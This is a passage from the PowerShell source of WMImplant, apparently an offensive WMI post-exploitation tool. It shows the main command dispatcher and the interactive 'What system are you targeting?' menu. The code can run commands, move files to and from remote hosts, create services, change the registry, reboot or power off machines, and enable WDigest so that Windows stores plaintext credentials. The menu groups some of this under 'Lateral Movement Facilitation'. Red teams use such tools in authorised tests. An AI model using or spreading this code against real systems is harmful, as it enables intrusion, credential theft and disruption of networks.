1908 | [Parameter(ParameterSetName='Delete Reg Key')]
1909 | [string]$RegSubKey,
1910 | [Parameter(Mandatory = $False, ParameterSetName='Create Reg Key')]
1911 | [string]$RegValue,
1912 | [Parameter(Mandatory = $False, ParameterSetName='Command Execution')]
1913 | [string]$RemoteCommand,
1914 | [Parameter(Mandatory = $False, ParameterSetName='Create Reg Key')]
1915 | [switch]$KeyCreate,
1916 | [Parameter(Mandatory = $False, ParameterSetName='Delete Reg Key')]
1917 | [switch]$KeyDelete,
1918 | [Parameter(Mandatory = $False, ParameterSetName='Read File')]
1919 | [switch]$Cat,
1920 | [Parameter(Mandatory = $False, ParameterSetName='Copy File')]
1921 | [switch]$Copy,
1922 | [Parameter(Mandatory = $False, ParameterSetName='Delete File')]
1923 | [switch]$Delete,
1924 | [Parameter(Mandatory = $False, ParameterSetName='Download File')]
1925 | [switch]$Download,
1926 | [Parameter(Mandatory = $False, ParameterSetName='Directory Listing')]
1927 | [switch]$LS,
1928 | [Parameter(Mandatory = $False, ParameterSetName='File Search Name')]
1929 | [Parameter(Mandatory = $False, ParameterSetName='File Search Extension')]
1930 | [switch]$Search,
1931 | [Parameter(Mandatory = $False, ParameterSetName='Upload File')]
1932 | [switch]$Upload,
1933 | [Parameter(Mandatory = $False, ParameterSetName='Command Execution')]
1934 | [switch]$CommandExec,
1935 | [Parameter(Mandatory = $False, ParameterSetName='Disable WDigest')]
1936 | [switch]$DisableWdigest,
1937 | [Parameter(Mandatory = $False, ParameterSetName='Disable WinRM')]
1938 | [switch]$DisableWinRM,
1939 | [Parameter(Mandatory = $False, ParameterSetName='Enable WDigest')]
1940 | [switch]$EnableWdigest,
1941 | [Parameter(Mandatory = $False, ParameterSetName='Enable WinRM')]
1942 | [switch]$EnableWinRM,
1943 | [Parameter(Mandatory = $False, ParameterSetName='Create Reg Key')]
1944 | [Parameter(ParameterSetName='Delete Reg Key')]
1945 | [ValidateSet("hklm","hkcu","hkcr","hkusers","hkcurrentconfig")]
1946 | [string]$RegHive,
1947 | [Parameter(Mandatory = $False, ParameterSetName='Remote PowerShell')]
1948 | [switch]$RemotePosh,
1949 | [Parameter(Mandatory = $False, ParameterSetName='Set Default WMI Property')]
1950 | [switch]$SetWMIDefault,
1951 | [Parameter(Mandatory = $False, ParameterSetName='Process Listing')]
1952 | [switch]$PS,
1953 | [Parameter(Mandatory = $False, ParameterSetName='Process Kill Name')]
1954 | [Parameter(ParameterSetName='Process Kill ID')]
1955 | [switch]$ProcessKill,
1956 | [Parameter(Mandatory = $False, ParameterSetName='Process Start')]
1957 | [switch]$ProcessStart,
1958 | [Parameter(Mandatory = $False, ParameterSetName='List Active Users')]
1959 | [switch]$ActiveUsers,
1960 | [Parameter(Mandatory = $False, ParameterSetName='List Basic Info')]
1961 | [switch]$BasicInfo,
1962 | [Parameter(Mandatory = $False, ParameterSetName='Drive Listing')]
1963 | [switch]$DriveList,
1964 | [Parameter(Mandatory = $False, ParameterSetName='Active NIC Listing')]
1965 | [switch]$IFConfig,
1966 | [Parameter(Mandatory = $False, ParameterSetName='List Installed Programs')]
1967 | [switch]$InstalledPrograms,
1968 | [Parameter(Mandatory = $False, ParameterSetName='Identify Vacant System')]
1969 | [switch]$VacantSystem,
1970 | [Parameter(Mandatory = $False, ParameterSetName='Logon Events')]
1971 | [switch]$LogonEvents,
1972 | [Parameter(Mandatory = $False, ParameterSetName='Logoff Users')]
1973 | [switch]$LogOff,
1974 | [Parameter(Mandatory = $False, ParameterSetName='Reboot System')]
1975 | [switch]$Reboot,
1976 | [Parameter(Mandatory = $False, ParameterSetName='Remote PowerShell')]
1977 | [string]$Location,
1978 | [Parameter(Mandatory = $False, ParameterSetName='Power Off System')]
1979 | [switch]$PowerOff
1980 | )
1981 |
1982 | Process
1983 | {
1984 | # Create the remote credential object that will be needed for EVERYTHING
1985 | if($RemoteUser -and $RemotePass)
1986 | {
1987 | $RemotePassword = ConvertTo-SecureString $RemotePass -asplaintext -force
1988 | $RemoteCredential = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $RemoteUser,$RemotePassword
1989 | }
1990 |
1991 | if((!$ComputerName) -and ($PSCmdlet.ParameterSetName -ne 'Interactive'))
1992 | {
1993 | Throw "You need to specify a target to run the command against!"
1994 | }
1995 |
1996 | if($Cat)
1997 | {
1998 | if(!$RemoteFile)
1999 | {
2000 | Throw "You need to specify a file to read with the RemoteFile flag!"
2001 | }
2002 |
2003 | Foreach($Computer in $ComputerName)
2004 | {
2005 | if($RemoteCredential)
2006 | {
2007 | Get-FileContentsWMImplant -Credential $RemoteCredential -ComputerName $Computer -File $RemoteFile
2008 | }
2009 |
2010 | else
2011 | {
2012 | Get-FileContentsWMImplant -ComputerName $Computer -File $RemoteFile
2013 | }
2014 | }
2015 | }
2016 |
2017 | elseif($Copy)
2018 | {
2019 | if(!$LocalFile)
2020 | {
2021 | Throw "You need to specify the file you want to copy with the LocalFile flag!"
2022 | }
2023 |
2024 | if(!$RemoteFile)
2025 | {
2026 | Throw "You need to specify where the file should be copied to with the RemoteFile flag!"
2027 | }
2028 |
2029 | Foreach($Computer in $ComputerName)
2030 | {
2031 | if($RemoteCredential)
2032 | {
2033 | Edit-FileWMI -Credential $RemoteCredential -ComputerName $Computer -Copy -FileLocation $LocalFile -CopyLocation $RemoteFile
2034 | }
2035 |
2036 | else
2037 | {
2038 | Edit-FileWMI -Copy -ComputerName $Computer -FileLocation $LocalFile -CopyLocation $RemoteFile
2039 | }
2040 | }
2041 | }
2042 |
2043 | elseif($Delete)
2044 | {
2045 | if(!$LocalFile)
2046 | {
2047 | Throw "You need to specify the file you want to delete with the LocalFile flag!"
2048 | }
2049 |
2050 | Foreach($Computer in $ComputerName)
2051 | {
2052 | if($RemoteCredential)
2053 | {
2054 | Edit-FileWMI -Credential $RemoteCredential -ComputerName $Computer -Delete -FileLocation $LocalFile
2055 | }
2056 |
2057 | else
2058 | {
2059 | Edit-FileWMI -ComputerName $Computer -Delete -FileLocation $LocalFile
2060 | }
2061 | }
2062 | }
2063 |
2064 | elseif($Download)
2065 | {
2066 | if(!$RemoteFile)
2067 | {
2068 | Throw "You need to specify a file to read with the RemoteFile flag!"
2069 | }
2070 |
2071 | if(!$LocalFile)
2072 | {
2073 | Throw "You need to specify the location to save the file with the $LocalFile flag!"
2074 | }
2075 |
2076 | Foreach($Computer in $ComputerName)
2077 | {
2078 | if($RemoteCredential)
2079 | {
2080 | Invoke-FileTransferWMImplant -Credential $RemoteCredential -Download -DownloadFile $RemoteFile -DownloadFilePath $LocalFile -ComputerName $Computer
2081 | }
2082 |
2083 | else
2084 | {
2085 | Invoke-FileTransferWMImplant -Download -DownloadFile $RemoteFile -DownloadFilePath $LocalFile -ComputerName $Computer
2086 | }
2087 | }
2088 | }
2089 |
2090 | elseif($LS)
2091 | {
2092 | if(!$RemoteDirectory)
2093 | {
2094 | Throw "Please provide the RemoteDirectory parameter to specify the directory to list!"
2095 | }
2096 |
2097 | Foreach($Computer in $ComputerName)
2098 | {
2099 | if($RemoteCredential)
2100 | {
2101 | Invoke-LSWMImplant -Credential $RemoteCredential -ComputerName $Computer -Directory $RemoteDirectory
2102 | }
2103 |
2104 | else
2105 | {
2106 | Invoke-LSWMImplant -ComputerName $Computer -Directory $RemoteDirectory
2107 | }
2108 | }
2109 | }
2110 |
2111 | elseif($Search)
2112 | {
2113 | if(!$RemoteFile -and !$RemoteExtension)
2114 | {
2115 | Throw "Please provide the RemoteFile or RemoteExtension parameter to specify the file or extension to search for!"
2116 | }
2117 |
2118 | if(!$RemoteDrive)
2119 | {
2120 | Throw "Please provide the RemoteDrive parameter to specify the drive to search!"
2121 | }
2122 |
2123 | Foreach($Computer in $ComputerName)
2124 | {
2125 | if($RemoteCredential)
2126 | {
2127 | if($RemoteFile)
2128 | {
2129 | Find-FileWMImplant -Credential $RemoteCredential -File $RemoteFile -ComputerName $Computer -Drive $RemoteDrive
2130 | }
2131 | elseif($RemoteExtension)
2132 | {
2133 | Find-FileWMImplant -Credential $RemoteCredential -Extension $RemoteExtension -ComputerName $Computer -Drive $RemoteDrive
2134 | }
2135 | }
2136 |
2137 | else
2138 | {
2139 | if($RemoteFile)
2140 | {
2141 | Find-FileWMImplant -File $RemoteFile -ComputerName $Computer -Drive $RemoteDrive
2142 | }
2143 | elseif($RemoteExtension)
2144 | {
2145 | Find-FileWMImplant -Extension $RemoteExtension -ComputerName $Computer -Drive $RemoteDrive
2146 | }
2147 | }
2148 | }
2149 | }
2150 |
2151 | elseif($Upload)
2152 | {
2153 | if(!$LocalFile)
2154 | {
2155 | Throw "Please use the LocalFile flag to specify the file to upload!"
2156 | }
2157 |
2158 | if(!$RemoteFile)
2159 | {
2160 | Throw "Please use the RemoteFile flag to specify the full path to upload the file to!"
2161 | }
2162 |
2163 | Foreach($Computer in $ComputerName)
2164 | {
2165 | if($RemoteCredential)
2166 | {
2167 | Invoke-FileTransferWMImplant -Credential $RemoteCredential -Upload -UploadFile $LocalFile -UploadFilePath $RemoteFile -ComputerName $Computer
2168 | }
2169 |
2170 | else
2171 | {
2172 | Invoke-FileTransferWMImplant -Upload -UploadFile $LocalFile -UploadFilePath $RemoteFile -ComputerName $Computer
2173 | }
2174 | }
2175 | }
2176 |
2177 | elseif($CommandExec)
2178 | {
2179 | if(!$RemoteCommand)
2180 | {
2181 | Throw "You need to specify the command to run with the -Command!"
2182 | }
2183 |
2184 | Foreach($Computer in $ComputerName)
2185 | {
2186 | if($RemoteCredential)
2187 | {
2188 | Invoke-CommandExecution -Credential $RemoteCredential -ExecCommand $RemoteCommand -ComputerName $Computer
2189 | }
2190 |
2191 | else
2192 | {
2193 | Invoke-CommandExecution -ComputerName $Computer -ExecCommand $RemoteCommand
2194 | }
2195 | }
2196 | }
2197 |
2198 | elseif($DisableWDigest)
2199 | {
2200 | Foreach($Computer in $ComputerName)
2201 | {
2202 | if($RemoteCredential)
2203 | {
2204 | Invoke-RegValueMod -Credential $RemoteCredential -KeyDelete -RegHive hklm -RegKey 'SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -RegSubKey 'UseLogonCredential' -ComputerName $Computer
2205 | }
2206 |
2207 | else
2208 | {
2209 | Invoke-RegValueMod -KeyDelete -RegHive hklm -RegKey 'SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -RegSubKey 'UseLogonCredential' -ComputerName $Computer
2210 | }
2211 | }
2212 | }
2213 |
2214 | elseif($DisableWinRM)
2215 | {
2216 | Foreach($Computer in $ComputerName)
2217 | {
2218 | if($RemoteCredential)
2219 | {
2220 | Invoke-ProcSpawn -Credential $RemoteCredential -ComputerName $Computer -Command 'powershell.exe -command "Disable-PSRemoting -Force"'
2221 | }
2222 |
2223 | else
2224 | {
2225 | Invoke-ProcSpawn -ComputerName $Computer -Command 'powershell.exe -command "Disable-PSRemoting -Force"'
2226 | }
2227 | }
2228 | }
2229 |
2230 | elseif($EnableWdigest)
2231 | {
2232 | Foreach($Computer in $ComputerName)
2233 | {
2234 | if($RemoteCredential)
2235 | {
2236 | Invoke-RegValueMod -Credential $RemoteCredential -KeyCreate -RegHive hklm -RegKey 'SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -RegSubKey 'UseLogonCredential' -RegValue 1 -ComputerName $Computer
2237 | }
2238 |
2239 | else
2240 | {
2241 | Invoke-RegValueMod -KeyCreate -RegHive hklm -RegKey 'SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -RegSubKey 'UseLogonCredential' -RegValue 1 -ComputerName $Computer
2242 | }
2243 | }
2244 | }
2245 |
2246 | elseif($EnableWinRM)
2247 | {
2248 | Foreach($Computer in $ComputerName)
2249 | {
2250 | if($RemoteCredential)
2251 | {
2252 | Invoke-ProcSpawn -Credential $RemoteCredential -ComputerName $Computer -Command 'powershell.exe -command "Enable-PSRemoting -Force"'
2253 | }
2254 |
2255 | else
2256 | {
2257 | Invoke-ProcSpawn -ComputerName $Computer -Command 'powershell.exe -command "Enable-PSRemoting -Force"'
2258 | }
2259 | }
2260 | }
2261 |
2262 | elseif($KeyCreate)
2263 | {
2264 | if(!$RegHive)
2265 | {
2266 | Throw "You need to specify either [hklm] or [hkcu] for the registry value to use!"
2267 | }
2268 |
2269 | if(!$RegKey)
2270 | {
2271 | Throw "You need to specify the registry key you will add or remove a value from!"
2272 | }
2273 |
2274 | if(!$RegSubKey)
2275 | {
2276 | Throw "You need to specify the registry sub key you will add or remove a value from!"
2277 | }
2278 |
2279 | if(!$RegValue)
2280 | {
2281 | Throw "Please provide the registry value you are looking to modify!"
2282 | }
2283 |
2284 | Foreach($Computer in $ComputerName)
2285 | {
2286 | if($RemoteCredential)
2287 | {
2288 | Invoke-RegValueMod -ComputerName $Computer -Credential $RemoteCredential -KeyCreate -RegHive $RegHive -RegKey $RegKey -RegSubKey $RegSubKey -RegValue $RegValue
2289 | }
2290 | else
2291 | {
2292 | Invoke-RegValueMod -ComputerName $Computer -KeyCreate -RegHive $RegHive -RegKey $RegKey -RegSubKey $RegSubKey -RegValue $RegValue
2293 | }
2294 | }
2295 | }
2296 |
2297 | elseif($KeyDelete)
2298 | {
2299 | if(!$RegHive)
2300 | {
2301 | Throw "You need to specify either [hklm] or [hkcu] for the registry value to use!"
2302 | }
2303 |
2304 | if(!$RegKey)
2305 | {
2306 | Throw "You need to specify the registry key you will remove a value from!"
2307 | }
2308 |
2309 | if(!$RegSubKey)
2310 | {
2311 | Throw "Please provide the registry sub key you are looking to delete!"
2312 | }
2313 |
2314 | Foreach($Computer in $ComputerName)
2315 | {
2316 | if($RemoteCredential)
2317 | {
2318 | Invoke-RegValueMod -ComputerName $Computer -Credential $RemoteCredential -KeyDelete -RegHive $RegHive -RegKey $RegKey -RegSubKey $RegSubKey
2319 | }
2320 | else
2321 | {
2322 | Invoke-RegValueMod -ComputerName $Computer -KeyDelete -RegHive $RegHive -RegKey $RegKey -RegSubKey $RegSubKey
2323 | }
2324 | }
2325 | }
2326 |
2327 | elseif($RemotePosh)
2328 | {
2329 | if(!$Location)
2330 | {
2331 | Throw "You need to specify the Location flag to provide the file location where the script is!"
2332 | }
2333 |
2334 | if(!$Function)
2335 | {
2336 | Throw "You need to specify the Function flag to provide the function to run on the remote system!"
2337 | }
2338 |
2339 | Foreach($Computer in $ComputerName)
2340 | {
2341 | if($RemoteCredential)
2342 | {
2343 | Invoke-RemoteScriptWithOutput -Credential $RemoteCredential -Location $Location -Function $Function -ComputerName $Computer
2344 | }
2345 |
2346 | else
2347 | {
2348 | Invoke-RemoteScriptWithOutput -Location $Location -Function $Function -ComputerName $Computer
2349 | }
2350 | }
2351 | }
2352 |
2353 | elseif($ServiceStart)
2354 | {
2355 | if(!$ServiceName)
2356 | {
2357 | Throw "You need to specify the service name you want to start!"
2358 | }
2359 |
2360 | Foreach($Computer in $ComputerName)
2361 | {
2362 | if($RemoteCredential)
2363 | {
2364 | Invoke-ServiceMod -Credential $RemoteCredential -ComputerName $Computer -Service $ServiceName -Start
2365 | }
2366 | else
2367 | {
2368 | Invoke-ServiceMod -ComputerName $Computer -Service $ServiceName -Start
2369 | }
2370 | }
2371 | }
2372 |
2373 | elseif($ServiceStop)
2374 | {
2375 | if(!$ServiceName)
2376 | {
2377 | Throw "You need to specify the service name you want to stop!"
2378 | }
2379 |
2380 | Foreach($Computer in $ComputerName)
2381 | {
2382 | if($RemoteCredential)
2383 | {
2384 | Invoke-ServiceMod -Credential $RemoteCredential -ComputerName $Computer -Service $ServiceName -Stop
2385 | }
2386 | else
2387 | {
2388 | Invoke-ServiceMod -ComputerName $Computer -Service $ServiceName -Stop
2389 | }
2390 | }
2391 | }
2392 |
2393 | elseif($ServiceDelete)
2394 | {
2395 | if(!$ServiceName)
2396 | {
2397 | Throw "You need to specify the service name you want to delete!"
2398 | }
2399 |
2400 | Foreach($Computer in $ComputerName)
2401 | {
2402 | if($RemoteCredential)
2403 | {
2404 | Invoke-ServiceMod -Credential $RemoteCredential -ComputerName $Computer -Service $ServiceName -Delete
2405 | }
2406 | else
2407 | {
2408 | Invoke-ServiceMod -ComputerName $Computer -Service $ServiceName -Delete
2409 | }
2410 | }
2411 | }
2412 |
2413 | elseif($ServiceCreate)
2414 | {
2415 | if(!$ServiceName)
2416 | {
2417 | Throw "You need to specify the service name you want to create!"
2418 | }
2419 |
2420 | if(!$RemoteFile)
2421 | {
2422 | Throw "You need to specify the path to the service binary for the service you are creating!"
2423 | }
2424 |
2425 | Foreach($Computer in $ComputerName)
2426 | {
2427 | if($RemoteCredential)
2428 | {
2429 | Invoke-ServiceMod -Credential $RemoteCredential -ComputerName $Computer -NewServiceName $ServiceName -NewServicePath $RemoteFile -Create
2430 | }
2431 | else
2432 | {
2433 | Invoke-ServiceMod -ComputerName $Computer -NewServiceName $ServiceName -NewServicePath $RemoteFile -Create
2434 | }
2435 | }
2436 | }
2437 |
2438 |
2439 | elseif($SetWMIDefault)
2440 | {
2441 | Foreach($Computer in $ComputerName)
2442 | {
2443 | if($RemoteCredential)
2444 | {
2445 | Set-OriginalProperty -Credential $RemoteCredential -ComputerName $Computer
2446 | }
2447 |
2448 | else
2449 | {
2450 | Set-OriginalProperty -ComputerName $Computer
2451 | }
2452 | }
2453 | }
2454 |
2455 | elseif($PS)
2456 | {
2457 | Foreach($Computer in $ComputerName)
2458 | {
2459 | if($RemoteCredential)
2460 | {
2461 | Get-ProcessListingWMImplant -Credential $RemoteCredential -ComputerName $Computer
2462 | }
2463 |
2464 | else
2465 | {
2466 | Get-ProcessListingWMImplant -ComputerName $Computer
2467 | }
2468 | }
2469 | }
2470 |
2471 | elseif($ProcessKill)
2472 | {
2473 | if(!$ProcessName -and !$ProcessID)
2474 | {
2475 | Throw "Please provide the ProcessID or ProcessName flag to specify the process to kill!"
2476 | }
2477 |
2478 | Foreach($Computer in $ComputerName)
2479 | {
2480 |
2481 | if($RemoteCredential)
2482 | {
2483 | if($ProcessName)
2484 | {
2485 | Invoke-ProcessPunisher -Credential $RemoteCredential -ComputerName $Computer -PName $ProcessName
2486 | }
2487 |
2488 | elseif($ProcessID)
2489 | {
2490 | Invoke-ProcessPunisher -Credential $RemoteCredential -ComputerName $Computer -ProcId $ProcessID
2491 | }
2492 | }
2493 |
2494 | else
2495 | {
2496 | if($ProcessName)
2497 | {
2498 | Invoke-ProcessPunisher -ComputerName $Computer -PName $ProcessName
2499 | }
2500 |
2501 | elseif($ProcessID)
2502 | {
2503 | Invoke-ProcessPunisher -ComputerName $Computer -ProcId $ProcessID
2504 | }
2505 | }
2506 | }
2507 | }
2508 |
2509 | elseif($ProcessStart)
2510 | {
2511 | if(!$RemoteFile)
2512 | {
2513 | Throw "You need to specify the RemoteFile flag to provide a file/command to run!"
2514 | }
2515 |
2516 | Foreach($Computer in $ComputerName)
2517 | {
2518 | if($RemoteCredential)
2519 | {
2520 | Invoke-ProcSpawn -Credential $RemoteCredential -ComputerName $Computer -Command $RemoteFile
2521 | }
2522 |
2523 | else
2524 | {
2525 | Invoke-ProcSpawn -ComputerName $Computer -Command $RemoteFile
2526 | }
2527 | }
2528 | }
2529 |
2530 | elseif($ActiveUsers)
2531 | {
2532 | Foreach($Computer in $ComputerName)
2533 | {
2534 | if($RemoteCredential)
2535 | {
2536 | Find-CurrentUsers -Credential $RemoteCredential -ComputerName $Computer
2537 | }
2538 |
2539 | else
2540 | {
2541 | Find-CurrentUsers -ComputerName $Computer
2542 | }
2543 | }
2544 | }
2545 |
2546 | elseif($BasicInfo)
2547 | {
2548 | Foreach($Computer in $ComputerName)
2549 | {
2550 | if($RemoteCredential)
2551 | {
2552 | Get-HostInfo -Credential $RemoteCredential -ComputerName $Computer
2553 | }
2554 |
2555 | else
2556 | {
2557 | Get-HostInfo -ComputerName $Computer
2558 | }
2559 | }
2560 | }
2561 |
2562 | elseif($DriveList)
2563 | {
2564 | Foreach($Computer in $ComputerName)
2565 | {
2566 | if($RemoteCredential)
2567 | {
2568 | Get-ComputerDrives -Credential $RemoteCredential -ComputerName $Computer
2569 | }
2570 |
2571 | else
2572 | {
2573 | Get-ComputerDrives -ComputerName $Computer
2574 | }
2575 | }
2576 | }
2577 |
2578 | elseif($IFConfig)
2579 | {
2580 | Foreach($Computer in $ComputerName)
2581 | {
2582 | if($RemoteCredential)
2583 | {
2584 | Get-NetworkCards -Credential $RemoteCredential -ComputerName $Computer
2585 | }
2586 |
2587 | else
2588 | {
2589 | Get-NetworkCards -ComputerName $Computer
2590 | }
2591 | }
2592 | }
2593 |
2594 | elseif($InstalledPrograms)
2595 | {
2596 | Foreach($Computer in $ComputerName)
2597 | {
2598 | if($RemoteCredential)
2599 | {
2600 | Get-InstalledPrograms -Credential $RemoteCredential -ComputerName $Computer
2601 | }
2602 |
2603 | else
2604 | {
2605 | Get-InstalledPrograms -ComputerName $Computer
2606 | }
2607 | }
2608 | }
2609 |
2610 | elseif($VacantSystem)
2611 | {
2612 | Foreach($Computer in $ComputerName)
2613 | {
2614 | if($RemoteCredential)
2615 | {
2616 | Find-VacantComputer -Credential $RemoteCredential -ComputerName $Computer
2617 | }
2618 |
2619 | else
2620 | {
2621 | Find-VacantComputer -ComputerName $Computer
2622 | }
2623 | }
2624 | }
2625 |
2626 | elseif($LogonEvents)
2627 | {
2628 | Foreach($Computer in $ComputerName)
2629 | {
2630 | if($LocalFile)
2631 | {
2632 | if($RemoteCredential)
2633 | {
2634 | Get-WMIEventLogins -Credential $RemoteCredential -ComputerName $Computer -FileName $LocalFile
2635 | }
2636 |
2637 | else
2638 | {
2639 | Get-WMIEventLogins -ComputerName $Computer -FileName $LocalFile
2640 | }
2641 | }
2642 |
2643 | else
2644 | {
2645 | if($RemoteCredential)
2646 | {
2647 | Get-WMIEventLogins -Credential $RemoteCredential -ComputerName $Computer
2648 | }
2649 |
2650 | else
2651 | {
2652 | Get-WMIEventLogins -ComputerName $Computer
2653 | }
2654 | }
2655 | }
2656 | }
2657 |
2658 | elseif($LogOff)
2659 | {
2660 | Foreach($Computer in $ComputerName)
2661 | {
2662 | if($RemoteCredential)
2663 | {
2664 | Invoke-PowerOptionsWMI -Credential $RemoteCredential -ComputerName $Computer -Logoff
2665 | }
2666 |
2667 | else
2668 | {
2669 | Invoke-PowerOptionsWMI -ComputerName $Computer -Logoff
2670 | }
2671 | }
2672 | }
2673 |
2674 | elseif($Reboot)
2675 | {
2676 | Foreach($Computer in $ComputerName)
2677 | {
2678 | if($RemoteCredential)
2679 | {
2680 | Invoke-PowerOptionsWMI -Credential $RemoteCredential -ComputerName $Computer -Reboot
2681 | }
2682 |
2683 | else
2684 | {
2685 | Invoke-PowerOptionsWMI -ComputerName $Computer -Reboot
2686 | }
2687 | }
2688 | }
2689 |
2690 | elseif($PowerOff)
2691 | {
2692 | Foreach($Computer in $ComputerName)
2693 | {
2694 | if($RemoteCredential)
2695 | {
2696 | Invoke-PowerOptionsWMI -Credential $RemoteCredential -ComputerName $Computer -Shutdown
2697 | }
2698 |
2699 | else
2700 | {
2701 | Invoke-PowerOptionsWMI -ComputerName $Computer -Shutdown
2702 | }
2703 | }
2704 | }
2705 |
2706 | elseif($ListCommands)
2707 | {
2708 | Show-WMImplantMainMenu
2709 | }
2710 |
2711 | elseif($Interactive)
2712 | {
2713 | Show-WMImplantMainMenu
2714 | Use-MenuSelection
2715 | }
2716 |
2717 | # I don't believe this should ever execute
2718 | else
2719 | {
2720 | Show-WMImplantMainMenu
2721 | Use-MenuSelection
2722 | }
2723 | }
2724 | }
2725 |
2726 | function Select-UserAccount
2727 | {
2728 | # Query user for user account and password to use
2729 | $UserUsername = Read-Host "Please provide the domain\username to use for authentication >"
2730 | $UserPassword = Read-Host "Please provide the password to use for authentication >"
2731 |
2732 | # This block of code is executed when starting a process on a remote machine via wmi
2733 | $ChangedPassword = ConvertTo-SecureString $UserPassword -asplaintext -force
2734 | $cred = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $UserUsername,$ChangedPassword
2735 | return $cred
2736 | }
2737 |
2738 | function Show-WMImplantMainMenu
2739 | {
2740 | # Print out commands available to the user
2741 | $menu_options = "`nWMImplant Main Menu:`n`n"
2742 |
2743 | $menu_options += "Meta Functions:`n"
2744 | $menu_options += "====================================================================`n"
2745 | $menu_options += "change_user - Change the user used to connect to remote systems`n"
2746 | $menu_options += "exit - Exit WMImplant`n"
2747 | $menu_options += "gen_cli - Generate the CLI command to execute a command via WMImplant`n"
2748 | $menu_options += "set_default - Set default value of DebugFilePath property`n"
2749 | $menu_options += "help - Display this help/command menu`n`n"
2750 |
2751 | $menu_options += "File Operations`n"
2752 | $menu_options += "====================================================================`n"
2753 | $menu_options += "cat - Attempt to read a file's contents`n"
2754 | $menu_options += "copy - Copy a file from one location to another`n"
2755 | $menu_options += "delete - delete a file from the targeted system`n"
2756 | $menu_options += "download - Download a file from a remote machine`n"
2757 | $menu_options += "ls - File/Directory listing of a specific directory`n"
2758 | $menu_options += "search - Search for a file on a user-specified drive`n"
2759 | $menu_options += "upload - Upload a file to a remote machine`n`n"
2760 |
2761 | $menu_options += "Lateral Movement Facilitation`n"
2762 | $menu_options += "====================================================================`n"
2763 | $menu_options += "command_exec - Run a command line command and get the output`n"
2764 | $menu_options += "disable_wdigest - Remove registry value UseLogonCredential`n"
2765 | $menu_options += "disable_winrm - Disable WinRM on the targeted host`n"
2766 | $menu_options += "enable_wdigest - Add registry value UseLogonCredential`n"
2767 | $menu_options += "enable_winrm - Enable WinRM on a targeted host`n"
2768 | $menu_options += "registry_mod - Modify the registry on the targeted system`n"
2769 | $menu_options += "remote_posh - Run a PowerShell script on a system and receive output`n"
2770 | $menu_options += "service_mod - Create, delete, or modify services`n`n"
2771 |
2772 | $menu_options += "Process Operations`n"
2773 | $menu_options += "====================================================================`n"
2774 | $menu_options += "process_kill - Kill a specific process`n"
2775 | $menu_options += "process_start - Start a process on a remote machine`n"
2776 | $menu_options += "ps - Process listing`n`n"
2777 |
2778 | $menu_options += "System Operations`n"
2779 | $menu_options += "====================================================================`n"
2780 | $menu_options += "active_users - List domain users with active processes on a system`n"
2781 | $menu_options += "basic_info - Gather hostname and other basic system info`n"
2782 | $menu_options += "drive_list - List local and network drives`n"
2783 | $menu_options += "ifconfig - IP information for NICs with IP addresses`n"
2784 | $menu_options += "installed_programs - Receive a list of all programs installed`n"
2785 | $menu_options += "logoff - Logs users off the specified system`n"
2786 | $menu_options += "reboot - Reboot a system`n"
2787 | $menu_options += "power_off - Power off a system`n"
2788 | $menu_options += "vacant_system - Determine if a user is away from the system.`n`n"
2789 |
2790 | $menu_options += "Log Operations`n"
2791 | $menu_options += "====================================================================`n"
2792 | $menu_options += "logon_events - Identify users that have logged into a system`n`n"
2793 |
2794 | # Print the menu out to the user
2795 | $menu_options
2796 | }
2797 |
2798 | function Use-MenuSelection
2799 | {
2800 | # This function is where the user provides the command they wish to execute
2801 | param
2802 | (
2803 | [Parameter(Mandatory = $False)]
2804 | [System.Management.Automation.PSCredential]$Credential
2805 | )
2806 |
2807 | $looping = $true
2808 | while ($looping)
2809 | {
2810 |
2811 | # Read in user's menu choice
2812 | $menu_selection = Read-Host "Command >"
2813 | $menu_selection = $menu_selection.Trim().ToLower()
2814 |
2815 | if(($menu_selection -ne 'exit') -and ($menu_selection -ne 'change_user') -and ($menu_selection -ne 'help'))
2816 | {
2817 | $ComputerName = Read-Host "What system are you targeting? >"
2818 | $ComputerName = $ComputerName.Trim()
2819 | }
2820 |
2821 | switch ($menu_selection)
2822 | {
2823 | "change_user"
2824 | {
2825 | $Credential = Select-UserAccount
2826 | }
2827 |
2828 | "exit"
2829 | {
2830 | $looping = $false
2831 | }
2832 |
2833 | "gen_cli"
2834 | {
2835 | Invoke-CommandGeneration -ComputerName $ComputerName
2836 | }
2837 |
2838 | "set_default"
2839 | {
2840 | if ($Credential)
2841 | {
2842 | Set-OriginalProperty -Credential $Credential -ComputerName $ComputerName
2843 | }
2844 |
2845 | else
2846 | {
2847 | Set-OriginalProperty -ComputerName $ComputerName
2848 | }
2849 | }
2850 |
2851 | "help"
2852 | {
2853 | Show-WMImplantMainMenu
2854 | }
2855 |
2856 | "cat"
2857 | {
2858 | if ($Credential)
2859 | {
2860 | Get-FileContentsWMImplant -Credential $Credential -ComputerName $ComputerName
2861 | }
2862 |
2863 | else
2864 | {
2865 | Get-FileContentsWMImplant -ComputerName $ComputerName
2866 | }
2867 | }
2868 |
2869 | "copy"
2870 | {
2871 | if($Credential)
2872 | {
2873 | Edit-FileWMI -Copy -Credential $Credential -ComputerName $ComputerName
2874 | }
2875 | else
2876 | {
2877 | Edit-FileWMI -Copy -ComputerName $ComputerName
2878 | }
2879 | }
2880 |
2881 | "delete"
2882 | {
2883 | if($Credential)
2884 | {
2885 | Edit-FileWMI -Delete -Credential $Credential -ComputerName $ComputerName
2886 | }
2887 | else
2888 | {
2889 | Edit-FileWMI -Delete -ComputerName $ComputerName
2890 | }
2891 | }
2892 |
2893 | "download"
2894 | {
2895 | if ($Credential)
2896 | {
2897 | Invoke-FileTransferWMImplant -Credential $Credential -Download -ComputerName $ComputerName
2898 | }
2899 |
2900 | else
2901 | {
2902 | Invoke-FileTransferWMImplant -Download -ComputerName $ComputerName
2903 | }
2904 | }
2905 |
2906 | "ls"
2907 | {
2908 | if ($Credential)
2909 | {
2910 | Invoke-LSWMImplant -Credential $Credential -ComputerName $ComputerName
2911 | }
2912 |
2913 | else
2914 | {
2915 | Invoke-LSWMImplant -ComputerName $ComputerName
2916 | }
2917 | }
2918 |
2919 | "search"
2920 | {
2921 | if($Credential)
2922 | {
2923 | Find-FileWMImplant -Credential $Credential -ComputerName $ComputerName
2924 | }
2925 |
2926 | else
2927 | {
2928 | Find-FileWMImplant -ComputerName $ComputerName
